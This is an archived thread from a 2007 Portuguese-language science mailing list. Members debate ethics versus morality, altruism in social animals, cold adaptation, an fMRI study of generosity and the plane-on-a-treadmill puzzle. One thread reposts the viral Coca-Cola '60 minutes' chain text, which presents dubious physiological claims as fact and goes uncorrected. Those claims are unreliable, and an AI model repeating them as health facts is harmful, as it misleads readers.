>> comentários embora Homero o critique. Não devo agir
>> mal porque não sou burro
>> já que agindo mal de alguma forma serei punido por
>> isso. Se é esse o
>> príncipio que norteia o comportamento da nossa
>> sociedade então se eu
>> conseguir evitar essa punição, tudo me é permitido.
>> Maridos e esposas desta
>> lista, traiam a vontade!!!Desde que façam de uma
>> forma que não sejam pegos.
>> Filhos que lêem essa mensagem podem roubar dinheiro
>> da carteira de seus
>> pais desde que eles não percebam!!!
>> Isso é ético???
>>
>>
>> > "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> > O que há é pouca gente para dar por isso... "
>> > Fernando Pessoa - Poesias de Alvaro Campos



SUBJECT: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 23:06

Homero: [ Outra forma seria estrutural. Moral se refere a norma correta de
agir, ética a reflexão sobre a norma. Assim, a regra de define o adultério
como errado é moral. E a reflexão racional sobre o porque é errado cometer
adultério, uma questão para a ética. [ ... ] Como estamos querendo
determinar se regras ou considerações sobre essas regras, podem ser
absolutas, universais, ou se sempre dependerão de culturas ou contratos
sociais, não é preciso separar os termos (ética e moral) para discutir o
assunto. ]
.................................

Olá, Homero e Murilo! O que se busca deste sempre, melhor registrado por
Aristóteles, é o absoluto. Uma, regra ética-moral que independa das
premissas momentâneas, necessidades atuais, costumes sociais, pessoais,
históricos, tradicionais, humor do legislador, situação econômica, etc. Um
regra de descreva a melhor atitude a ser tomada pelo cidadão, em qualquer
situação ou circunstância. Daí a dificuldade...
[]s
José Renato
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, February 15, 2007 10:38 PM
Subject: [ciencialist] P/ Murilo - Re: E ética de cada um...


Olá Murilo

Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"

Esta é realmente uma questão muito interessante e complexa. Muitas
vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos
e especialistas (mais inteligentes que eu, certamente..:-) pensam que
se pode separar os dois.

O problema é que existem quase tantas formas de separar os termos
quanto existem filósofos..:-)

A moral tende realmente a ser mais ligada a "costumes", sendo a ética,
em geral, tida como mais universal (de forma relativa e não absoluta,
claro).

Uma forma que me agrada é a separação de alcance dos termos. Moral são
normas que atingem o próprio individuo, sem efeitos em terceiros.
Ética seriam normas e regras que atingem a terceiros, que tem efeitos
além do indivíduo.

Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo
relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é
uma questão ética, pois seu efeito atinge terceiros (que podem não
gostar de serem assassinados..:-)

Outra forma seria estrutural. Moral se refere a norma correta de agir,
ética a reflexão sobre a norma. Assim, a regra de define o adultério
como errado é moral. E a reflexão racional sobre o porque é errado
cometer adultério, uma questão para a ética.

Neste debate, me parece, usamos os termos como sinônimos, ou quase.
Como estamos querendo determinar se regras ou considerações sobre
essas regras, podem ser absolutas, universais, ou se sempre dependerão
de culturas ou contratos sociais, não é preciso separar os termos para
discutir o assunto.

Um abraço.

Homero



SUBJECT: Re: [ciencialist] Animais gregários e justiça de grupo - Re: P/Homero, um conselho:
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 23:50

Bons comentários, Homero! Faço apenas ressalva aos seguintes trechos:

1. [ O altruísmo traz vantagens ao grupo, mas um único egoísta levaria
enorme vantagem nesse grupo (se todos dividem a comida, quanto a obtém, se
um não divide, se alimentará, em média, mais que os outros). ]
JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode ser
excluído da partilha e ficar dependendo apenas de si mesmo. Veja que foi a
possibilidade de eu fazer apenas uma parte do que preciso para viver -
enquanto outras pessoas fazem as demais - que promoveu a civilização.

2. [ Somos animais que tendem a "justiça" muito antes de podermos falar ou
elaborar essa noção (e sem necessidade de nenhuma divindade que nos
ensinasse o caminho). ]
JR - Vc acha que o ser humano é "bom" por natureza, há os que acham que é um
maléfico predador por natureza, e há os que consideram que ele é o "fazem"
dele em sua formação. Muito provavelmente ainda ficaremos sem certeza de
qual dessa teses é a que melhor descreve a realidade. Quanto a sua fiel
crença no Acaso sem qualquer comprovação científica é mais uma das suas
aventuras na arte dos adivinhos.

[]s

José Renato
...................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 20, 2007 11:28 PM
Subject: [ciencialist] Animais gregários e justiça de grupo - Re: P/Homero,
um conselho:


Olá Jose Renato

Renato: "O normal do ser humano ofendido ou agredido é acabar com a
raça do provocador. Conseguir parar uma reação natural de revide,
normalmente pontos acima da agressão recebida, e obter "um julgamento
justo que vingue o mal recebido", é um progresso significativo na
aplicação da justiça."

Na verdade, não. Talvez, e apenas talvez, o surgimento do conceito
abstrato de justiça possa ser, mas o bloqueio é mais de origem
biológica, genética, comportamental, de animais gregários, que uma
decisão voluntária ou intencional.

A natureza, o comportamento padrão, de todo animal gregário, inclusive
seres humanos, é cessar a violência bem antes de matar o adversário.

E é assim mesmo em animais que usam a violência cotidianamente, como
forma de sobreviver, como lobos.

Lobos são animais gregários, cuja colaboração é importante para
sobrevivência, pois caçam animais bem maiores em grupos bem coordenados.

Eventualmente, lobos mais jovens, em posição hierárquica inferior,
tentam tomar o comando e se tornar o macho alpha. Isso envolve lutas
ferozes entre animais ferozes, que usam todas suas armas para subjugar
o adversário.

Mas, ao perceber que não pode vencer, o animal mais fraco deita e
oferece a jugular, o pescoço ao vencedor. Que, com adrenalina a mil,
com toda ferocidade a flor da pele, com todos os hormônios e
mecanismos de luta no auge, ao invés de morder e matar, congela, cessa
imediatamente o combate e permite que o adversário viva.

Por que ele faz isso? Um deus-lobo determinou nas tábuas da lei que
"não matarás outro lobo"? Ou uma compreensão natural de justiça surge
nos lobos?

Não, é que evolutivamente é um comportamento mais vantajoso manter um
valioso membro do grupo, um lobo adulto, forte e capaz, para caçar e
alimentar a matilha, do que matar o adversário.

E isso não significa que o lobo "pense" nisso em qualquer momento.
Significa apenas que, entre as diversas formas de se comportar com
adversários vencidos, não matar trouxe mais vantagens a alcatéia que
matar, e, ao longo dos milhares de anos, apenas alcatéias com genes
que determinassem esse comportamento sobreviveram.

Mesmo o revide, a punição, deriva da necessidade de controlar
comportamentos egoístas entre um grupo altruísta. O altruísmo traz
vantagens ao grupo, mas um único egoísta levaria enorme vantagem nesse
grupo (se todos dividem a comida, quanto a obtém, se um não divide, se
alimentará, em média, mais que os outros).

Somos animais que tendem a "justiça" muito antes de podermos falar ou
elaborar essa noção (e sem necessidade de nenhuma divindade que nos
ensinasse o caminho).

Um abraço.

Homero




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SUBJECT: Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 00:29

Não tem pelos...
mas têm uma camada de gordura que é equivalente a isopor.

L.E.





At 17:42 24/2/2007, you wrote:

>Olá, Romano! Diga isso aos esquimós...
>Para se adaptar ao frio não significa criar pelos.
>Sabe por que muitos animais vivem nos pólos e não são peludos?
>Porque se adaptaram.
>[]s
>JR
>....................................
>
>From: "romano_170" <<mailto:romano_170%40yahoo.com.br>romano_170@yahoo.com.br>
>To: <<mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br>
>Sent: Monday, February 12, 2007 6:29 PM
>Subject: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato
>(eraDrauzio Varella - Folha
>
>O que que é isso? Jamais nos adaptamos ao frio? Nenhum animal o fez?
>
>Sds,Romano
>
>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>"Oraculo" <oraculo@...> escreveu
>
> >
> > JAMAIS nos adaptamos ao frio, nenhum animal jamais o fez. Mesmo os
>mamutes lanudos não se adaptaram, apenas "restaram" na espécie,
>descendentes de mamutes sem pelo, aqueles que, acidentalmente, tinham,
>através da loteria genética, mais pelos naquele momento.
>
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>13:23
>
>


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SUBJECT: Animais gregários e justiça de grupo - Re: P/Homero, um conselho:
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 01:23

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode ser
> excluído da partilha

E esse é o fator "vingança" ou "justiça". Se não houver isso, o
egoísta se dá bem.

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] P/ José Renato- Re: E ética de cada um...
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 07:09

----- Mensagem original ----
De: José Renato <jrma@terra.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 24 de Fevereiro de 2007 22:06:02
Assunto: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...












............ ......... ......... ...

Olá, Homero e Murilo! O que se busca deste sempre, melhor registrado por

Aristóteles, é o absoluto.


[E]> Essa linha filosófica é defendida principalmente pelos filósofos
ligados à igreja. Confundir moral com ética (o individual-íntimo
com o coletivo-público) é típico de ideologias totalitárias.


Uma, regra ética-moral que independa das

premissas momentâneas, necessidades atuais, costumes sociais, pessoais,

históricos, tradicionais, humor do legislador, situação econômica, etc. Um

regra de descreva a melhor atitude a ser tomada pelo cidadão, em qualquer

situação ou circunstância. Daí a dificuldade. ..

[E]> Quem quer uma regra dessas? Quanto mais atrasada é uma sociedade
mais as regras são desse tipo. (Imaginem a diferença entre ser julgado na
inglaterra, onde mal tem leis escritas e o juiz é soberano, e ser julgado
numa republiqueta como o brasil, onde até o juiz lamenta a injustiça
da sentença que profere.)
Uma regra que confunde ética com moral e que passa por cima das
necessidades, costumes, história, economia, etc só pode sair da cabeça
de um religioso ou de quem defende regimes totalitários.
A humanidade precisa de (e merece) mais que isso.






[]s

José Renato

............ ......... ......... ...



From: "oraculo333" <oraculo@To: <ciencialist@ yahoogrupos. com.br>

Sent: Thursday, February 15, 2007 10:38 PM

Subject: [ciencialist] P/ Murilo - Re: E ética de cada um...



Olá Murilo



Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"



Esta é realmente uma questão muito interessante e complexa. Muitas

vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos

e especialistas (mais inteligentes que eu, certamente.. :-) pensam que

se pode separar os dois.



O problema é que existem quase tantas formas de separar os termos

quanto existem filósofos..:- )



A moral tende realmente a ser mais ligada a "costumes", sendo a ética,

em geral, tida como mais universal (de forma relativa e não absoluta,

claro).



Uma forma que me agrada é a separação de alcance dos termos. Moral são

normas que atingem o próprio individuo, sem efeitos em terceiros.

Ética seriam normas e regras que atingem a terceiros, que tem efeitos

além do indivíduo.



Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo

relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é

uma questão ética, pois seu efeito atinge terceiros (que podem não

gostar de serem assassinados. .:-)



Outra forma seria estrutural. Moral se refere a norma correta de agir,

ética a reflexão sobre a norma. Assim, a regra de define o adultério

como errado é moral. E a reflexão racional sobre o porque é errado

cometer adultério, uma questão para a ética.



Neste debate, me parece, usamos os termos como sinônimos, ou quase.

Como estamos querendo determinar se regras ou considerações sobre

essas regras, podem ser absolutas, universais, ou se sempre dependerão

de culturas ou contratos sociais, não é preciso separar os termos para

discutir o assunto.



Um abraço.



Homero









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SUBJECT: Mente sem segredos - Celina Côrtes p/ ISTOÉ
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 10:30

ISTO� Online 28/02/2007
REVISTA: MEDICINA & BEM-ESTAR

http://www.terra.com.br/istoe/1948/medicina/1948_mente_sem_segredos.htm










NEUROLOGIA
Mente sem segredos
Pesquisa de brasileiros revela como o c�rebro se
comporta nos atos de generosidade. E alimenta
o debate sobre os limites da ci�ncia e da tecnologia
para invadir a privacidade das pessoas

Por Celina C�rtes

A sensa��o de bem-estar vivida pelos que praticam uma boa a��o, por menor que ela seja, j� tem explica��o cient�fica. Um estudo inovador revelou que ter gestos nobres, como ajudar algu�m ou fazer doa��o, ativa no c�rebro �reas ligadas ao prazer e � recompensa. S�o os mesmos circuitos acionados quando nos deleitamos fazendo amor ou saboreando um sorvete fant�stico. O trabalho, realizado nos Estados Unidos e financiado pelo Instituto Nacional de Desordens Neurol�gicas e Doen�as Cerebrovasculares (da sigla em ingl�s Ninds), � de autoria de dois cientistas brasileiros, o neuropsiquiatra Ricardo de Oliveira-Souza, do Hospital Universit�rio Gaffr� e Guinle, e o neurocientista Jorge Moll Neto, da Rede Labs-D�or, ambos do Rio de Janeiro. Trata-se de um marco, pois foi o primeiro a averiguar as bases biol�gicas dos atos de generosidade e altru�smo.


REALISMO Os volunt�rios de Souza podiam ficar com o dinheiro da pesquisa
Por dois anos, a dupla de pesquisadores submeteu 19 volunt�rios americanos � resson�ncia magn�tica, um exame que produz imagens da a��o do c�rebro, para analisar suas rea��es durante um jogo criado para a pesquisa. No in�cio, cada volunt�rio recebeu US$ 128. Em seguida, os nomes de v�rias entidades, de fundos sociais das Na��es Unidas a organiza��es de defesa do uso de armas, foram apresentados em seq��ncia num tel�o, em intervalos de sete segundos. As op��es eram doar ou n�o US$ 5 a cada uma delas ou ainda pagar para que determinada institui��o n�o recebesse contribui��es. O saldo � ou todo o dinheiro, se nada fosse oferecido � poderia ser levado para casa pelo volunt�rio. Detalhe: as doa��es, as institui��es, os d�lares e a liberdade de ficar com eles eram verdadeiros, o que deu dimens�o real a todas as decis�es dos pesquisados.

Enquanto o processo ocorria, a resson�ncia mostrava a atividade cerebral diante de cada escolha. Independentemente do car�ter da institui��o, quem optava por n�o doar e ficar com o dinheiro registrava uma intensa atividade nos circuitos de prazer. �� uma forma de recompensa pessoal�, explica Oliveira-Souza. O c�rebro dessa mesma pessoa teve outra performance quando ela decidiu dar dinheiro a alguma entidade filantr�pica. �Nestes casos, al�m do circuito do prazer, a oferta mobilizou tamb�m o c�rtex subgenual, uma estrutura que chamamos de �rea da empatia. Ela entra em a��o quando nos ligamos afetivamente ou fazemos algo de bom a algu�m�, observa o cientista. Outras �reas cerebrais foram ativadas quando os volunt�rios pagaram para vetar donativos a quem eles moralmente reprovavam. Nesse momento, entraram em cena setores associados � avers�o, � raiva e � indigna��o. Por fim, os exames revelaram tamb�m que, durante a tomada de decis�o, uma parte anterior do c�rebro, o p�lo frontal, era ativada. �Essa �rea, associada ao planejamento, se manifesta quando a pessoa pondera se faz ou n�o uma escolha�, descreve o pesquisador.

A possibilidade de visualizar a a��o cerebral no momento em que surge a inten��o de tomar uma atitude � uma das fortes linhas de estudo da neuroci�ncia. Outro trabalho recente, liderado pela universidade brit�nica de Oxford, antecipou com at� 70% de exatid�o os planos de indiv�duos que teriam de decidir entre somar ou subtrair n�meros. Fascinantes, descobertas como essas alimentam o debate sobre a aplica��o de novas tecnologias capazes de desnudar a mente humana. �� preciso avaliar as quest�es �ticas e as implica��es do tema�, alerta o neurocientista Colin Blakemore, diretor do Conselho de Pesquisa M�dica, na Inglaterra. Mas a aplica��o desses recursos parece ser quest�o de tempo. Os achados de Oliveira e Moll j� d�o sustenta��o a estudos de marketing e prefer�ncias pol�ticas em pa�ses como os Estados Unidos e a Alemanha. �S�o t�cnicas que revelam muito mais do que os conhecidos detectores de mentiras, pois o c�rebro n�o mente�, diz o pesquisador.

Os caminhos do altru�smo:

Infogr�fico em

http://www.terra.com.br/istoe/1948/medicina/1948_mente_sem_segredos_pop.htm


* Colaborou Greice Rodrigues



[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Os 60 minutos após beber uma lata de Coca-Cola
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 12:11

O que ocorre nos 60 minutos ap�s beber uma lata de Coca-Cola?



Nos primeiros 10 minutos : 10 colheres de ch� de a��car chegam no seu corpo, 100% do recomendado diariamente. Voc� n�o vomita imediatamente, devido ao doce extremo, porque o �cido fosf�rico corta o gosto.



20 minutos : O n�vel de a��car em seu sangue estoura for�ando um jorro de insulina. O f�gado responde transformando todo o a��car que recebe em gordura. (� muito neste momento em particular.)



40 minutos : Absor��o da cafe�na est� completa. Suas pupilas dilatam, a press�o sang��nea sobe, o f�gado responde bombeando mais a��car na corrente. Os receptores de adenosina no c�rebro s�o bloqueados para evitar tonteiras.



45 minutos : O corpo aumenta a produ��o de dopamina, estimulando os centros de prazer do corpo. (Fisicamente, funciona igualzinho a hero�na.)



60 minutos : O �cido fosf�rico empurra c�lcio, magn�sio e zinco para o intestino grosso, aumentando o metabolismo. As altas doses de a��car e outros ado�antes aumentam a excre��o de c�lcio na urina.



60 minutos : As propriedades diur�ticas da cafe�na entram em a��o. (Voc� urina.) Agora � garantido que por� para fora c�lcio, magn�sio e zinco os quais seus ossos precisariam.



60 minutos : Conforme a onda abaixa voc� sofrer� um choque de a��car. Ficar� irritadi�o. Voc� j� ter� posto para fora tudo o que estava na Coca, mas n�o sem antes ter posto para fora junto coisas das quais seu organismo precisaria manter.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Os 60 minutos após beber uma lata de Coca-Cola
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 13:32

Tá bom, tá bom.
Nunca mais, pelo resto dos anos que me faltam, tomarei um só gole de
coca-cola. Espero que a última vez tenha sido uma latinha que tomei faz uns
5 minutinhos. Ainda tenho o gostinho na boca..

Sds,
Victor.


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 12:11 PM
Subject: [ciencialist] Os 60 minutos após beber uma lata de Coca-Cola


O que ocorre nos 60 minutos após beber uma lata de Coca-Cola?



Nos primeiros 10 minutos : 10 colheres de chá de açúcar chegam no seu corpo,
100% do recomendado diariamente. Você não vomita imediatamente, devido ao
doce extremo, porque o ácido fosfórico corta o gosto.



20 minutos : O nível de açúcar em seu sangue estoura forçando um jorro de
insulina. O fígado responde transformando todo o açúcar que recebe em
gordura. (É muito neste momento em particular.)



40 minutos : Absorção da cafeína está completa. Suas pupilas dilatam, a
pressão sangüínea sobe, o fígado responde bombeando mais açúcar na corrente.
Os receptores de adenosina no cérebro são bloqueados para evitar tonteiras.



45 minutos : O corpo aumenta a produção de dopamina, estimulando os centros
de prazer do corpo. (Fisicamente, funciona igualzinho a heroína.)



60 minutos : O ácido fosfórico empurra cálcio, magnésio e zinco para o
intestino grosso, aumentando o metabolismo. As altas doses de açúcar e
outros adoçantes aumentam a excreção de cálcio na urina.



60 minutos : As propriedades diuréticas da cafeína entram em ação. (Você
urina.) Agora é garantido que porá para fora cálcio, magnésio e zinco os
quais seus ossos precisariam.



60 minutos : Conforme a onda abaixa você sofrerá um choque de açúcar. Ficará
irritadiço. Você já terá posto para fora tudo o que estava na Coca, mas não
sem antes ter posto para fora junto coisas das quais seu organismo
precisaria manter.


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: Os 60 minutos após beber uma lata de Coca-Cola
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 14:12

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> O que ocorre nos 60 minutos após beber uma lata de Coca-Cola?

Faltou uma informação importantíssima.

Nos dez primeiros minutos. Devido ao aumento da temperatura em contato
com o corpo humano, da acidez em contato com os fluidos estomacais e
das irregularidades na superfície de contato, o CO2 dissolvido no
refrigerante é deslocado, indo para a fase gasosa. O aumento da
quantidade de CO2 gasoso na fase gasosa aumenta a pressão estomacal
interna. As paredes do estômago ficam levemente distendidas,
diminuindo momentaneamente a pressão. Como reflexo, os músculos do
órgão tendem a se contrair, voltando a aumentar a pressão interna.
Como, por gravidade, a fase gasosa, sendo menos densa, fica por cima
da fase líquida, a pressão faz com que a cárdia, o esfíncter superior
(q se comunica com o esôfago) se abra. A mistura gasosa sobe, indo em
direção à faringe e, de lá, à boca. A passagem do gás pela abertura
estreita da cárdia faz com que a pressão local, por efeito Bernouilli,
caia, e com isso a cárdia tenda a se fechar. Com a diminuição do
escape, a pressão volta a aumentar, forçando novamente a cárdia a se
abrir. A vibração da cárdia gera um som característico, de tom um
tanto grave, que percorre tubo digestivo acima através do gás.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Os 60 minutos após beber uma lata de Coca-Cola
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 14:16

Tá aí uma explicação, para quem disser que o arroto é falta de educação.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 25, 2007 2:12 PM
Subject: [ciencialist] Re: Os 60 minutos após beber uma lata de Coca-Cola


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> O que ocorre nos 60 minutos após beber uma lata de Coca-Cola?

Faltou uma informação importantíssima.

Nos dez primeiros minutos. Devido ao aumento da temperatura em contato
com o corpo humano, da acidez em contato com os fluidos estomacais e
das irregularidades na superfície de contato, o CO2 dissolvido no
refrigerante é deslocado, indo para a fase gasosa. O aumento da
quantidade de CO2 gasoso na fase gasosa aumenta a pressão estomacal
interna. As paredes do estômago ficam levemente distendidas,
diminuindo momentaneamente a pressão. Como reflexo, os músculos do
órgão tendem a se contrair, voltando a aumentar a pressão interna.
Como, por gravidade, a fase gasosa, sendo menos densa, fica por cima
da fase líquida, a pressão faz com que a cárdia, o esfíncter superior
(q se comunica com o esôfago) se abra. A mistura gasosa sobe, indo em
direção à faringe e, de lá, à boca. A passagem do gás pela abertura
estreita da cárdia faz com que a pressão local, por efeito Bernouilli,
caia, e com isso a cárdia tenda a se fechar. Com a diminuição do
escape, a pressão volta a aumentar, forçando novamente a cárdia a se
abrir. A vibração da cárdia gera um som característico, de tom um
tanto grave, que percorre tubo digestivo acima através do gás.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Os 60 minutos após beber uma lata de Coca-Cola
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 16:28

>
>Nos dez primeiros minutos. Devido ao aumento da temperatura em contato
>com o corpo humano, da acidez em contato com os fluidos estomacais e
>das irregularidades na superfície de contato, o CO2 dissolvido no
>refrigerante é deslocado, indo para a fase gasosa. O aumento da
>quantidade de CO2 gasoso na fase gasosa aumenta a pressão estomacal
>interna. As paredes do estômago ficam levemente distendidas,
>diminuindo momentaneamente a pressão. Como reflexo, os músculos do
>órgão tendem a se contrair, voltando a aumentar a pressão interna.
>Como, por gravidade, a fase gasosa, sendo menos densa, fica por cima
>da fase líquida, a pressão faz com que a cárdia, o esfíncter superior
>(q se comunica com o esôfago) se abra. A mistura gasosa sobe, indo em
>direção à faringe e, de lá, à boca. A passagem do gás pela abertura
>estreita da cárdia faz com que a pressão local, por efeito Bernouilli,
>caia, e com isso a cárdia tenda a se fechar. Com a diminuição do
>escape, a pressão volta a aumentar, forçando novamente a cárdia a se
>abrir. A vibração da cárdia gera um som característico, de tom um
>tanto grave, que percorre tubo digestivo acima através do gás.
>

Um arrotão! Boa Takata! :-)

[],s
Jeff.




SUBJECT: Re: [ciencialist] Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 17:31

Pois é, LE, as formas de adaptação são diversas. A gordura serve de proteção
térmica e reserva de energia. Vc já se perguntou por que uma larva de
cigarra permanece anos no solo antes de eclodir, se alimentando de raízes?
[]s
JR
...................................

From: "LECarvalho" <lecarvalho@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 12:29 AM
Subject: [ciencialist] Tartarugas, mamutes, e o engano de Jose Renato
(eraDrauzio Varella - Folha


Não tem pelos...
mas têm uma camada de gordura que é equivalente a isopor.

L.E.





At 17:42 24/2/2007, you wrote:

>Olá, Romano! Diga isso aos esquimós...
>Para se adaptar ao frio não significa criar pelos.
>Sabe por que muitos animais vivem nos pólos e não são peludos?
>Porque se adaptaram.
>[]s
>JR
>....................................
>
>From: "romano_170"
><<mailto:romano_170%40yahoo.com.br>romano_170@yahoo.com.br>
>To:
><<mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br>
>Sent: Monday, February 12, 2007 6:29 PM
>Subject: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato
>(eraDrauzio Varella - Folha
>
>O que que é isso? Jamais nos adaptamos ao frio? Nenhum animal o fez?
>
>Sds,Romano
>
>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>"Oraculo" <oraculo@...> escreveu
>
> >
> > JAMAIS nos adaptamos ao frio, nenhum animal jamais o fez. Mesmo os
>mamutes lanudos não se adaptaram, apenas "restaram" na espécie,
>descendentes de mamutes sem pelo, aqueles que, acidentalmente, tinham,
>através da loteria genética, mais pelos naquele momento.
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20:14



SUBJECT: avião em esteira
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 18:44

Com certeza já deve ter sido discutido aqui...

Um avião está estacionado em uma pista móvel (como se fosse uma esteira
rolante). O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do avião
e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
oposto. A pergunta é: o avião vai conseguir decolar?
http://forum.hardmob.com.br/showthread.php?t=289348


Outras discussões sobre o mesmo assunto:
http://www.kottke.org/06/02/plane-conveyor-belt
http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html

Eu, aaaaaaaaacho que o avião decola... alguém discorda?

Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
(graduandos em engenharias na USP e outras universidades de 'nome')
discordando entre si, então...


SUBJECT: Re: [ciencialist] avião em esteira
FROM: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 18:54

Bem, não participo muito postando.
Algumas idéias preliminares:
Mas o avião estaria em repouso em relação ao solo, não? Além disso, creio que dessa forma ele não conseguiria a corrente de ar sobre a asa necessária, pois sua velocidade em relação às correntes de ar praticamente não se alterariam...

Paulo Marcelo

----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 25, 2007 6:44 PM
Subject: [ciencialist] avião em esteira


Com certeza já deve ter sido discutido aqui...

Um avião está estacionado em uma pista móvel (como se fosse uma esteira
rolante). O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do avião
e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
oposto. A pergunta é: o avião vai conseguir decolar?
http://forum.hardmob.com.br/showthread.php?t=289348

Outras discussões sobre o mesmo assunto:
http://www.kottke.org/06/02/plane-conveyor-belt
http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html

Eu, aaaaaaaaacho que o avião decola... alguém discorda?

Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
(graduandos em engenharias na USP e outras universidades de 'nome')
discordando entre si, então...




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] avião em esteira
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 19:42

Nando, oi.
Não vejo pq não.
Isso é muito parecido com o que acontece nos porta-aviões, só que bem mais
difícil de ser executado. abr/M.


>From: Nando <nando.str@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] avião em esteira
>Date: Sun, 25 Feb 2007 18:44:27 -0300
>
>Com certeza já deve ter sido discutido aqui...
>
>Um avião está estacionado em uma pista móvel (como se fosse uma esteira
>rolante). O avião se move em um sentido, e a esteira no sentido oposto.
>A esteira tem um sistema de controle que acompanha a velocidade do avião
>e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
>oposto. A pergunta é: o avião vai conseguir decolar?
>http://forum.hardmob.com.br/showthread.php?t=289348
>
>
>Outras discussões sobre o mesmo assunto:
>http://www.kottke.org/06/02/plane-conveyor-belt
>http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html
>
>Eu, aaaaaaaaacho que o avião decola... alguém discorda?
>
>Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
>(graduandos em engenharias na USP e outras universidades de 'nome')
>discordando entre si, então...
>
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SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/02/2007 19:49

(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
